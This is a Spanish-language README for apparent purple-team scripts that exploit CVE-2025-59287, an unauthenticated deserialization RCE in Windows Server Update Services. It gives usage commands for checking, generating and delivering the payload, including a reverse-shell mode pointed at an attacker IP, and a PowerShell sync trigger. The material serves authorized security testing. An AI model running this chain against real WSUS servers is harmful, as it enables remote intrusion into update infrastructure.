
Scripts de ejercicio de equipo púrpura que demuestran CVE-2025-59287, una RCE no autenticada en WSUS mediante inyección de carga útil de deserialización maliciosa en la base de datos de WSUS.
Scripts de ejercicio de equipo púrpura para CVE-2025-59287, una vulnerabilidad de ejecución remota de código no autenticada en Windows Server Update Services (WSUS).
Solo para uso autorizado. Para usar en entornos de ejercicio controlados contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar.
La vulnerabilidad abusa de los endpoints SOAP de WSUS accesibles de forma anónima para inyectar una carga útil de deserialización maliciosa en la base de datos de WSUS. La carga útil se ejecuta cuando se abre la consola administrativa de WSUS o se activa una sincronización.
8530ysoserial\Release\ (ver Configuración)wsus-cve-2025-59287/
├── 1-check.ps1 # Verifica si el objetivo es vulnerable
├── 2-generate.ps1 # Genera el blob de carga útil serializada
├── 3-deliver.ps1 # Entrega la carga útil al servidor WSUS
├── 4-verify.ps1 # Verifica la ejecución y limpia
├── ysoserial/ # Coloca aquí el release de ysoserial.net (no incluido en el repositorio)
│ └── Release/
│ └── ysoserial.exe
└── README.md
Clona o descarga el repositorio. Agrega ysoserial.net para que la ruta coincida con ysoserial\Release\ysoserial.exe.
Descarga ysoserial.net desde: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 Esto activará Windows Defender por defecto
Ejecuta todos los scripts desde la raíz del repositorio.
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
File drop (sin necesidad de listener, recomendado primero):
.\2-generate.ps1 -Mode filedrop
Reverse shell:
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
En el servidor WSUS, abre la consola administrativa desde Inicio > Windows Server Update Services, o desencadena una sincronización mediante PowerShell:
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
Verificar ejecución:
.\4-verify.ps1
Verificar y limpiar todos los artefactos:
.\4-verify.ps1 -Cleanup
Desde la máquina de ataque a través de recurso compartido admin:
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
Después de la limpieza, elimina el equipo de ejercicio de la consola de WSUS en Equipos.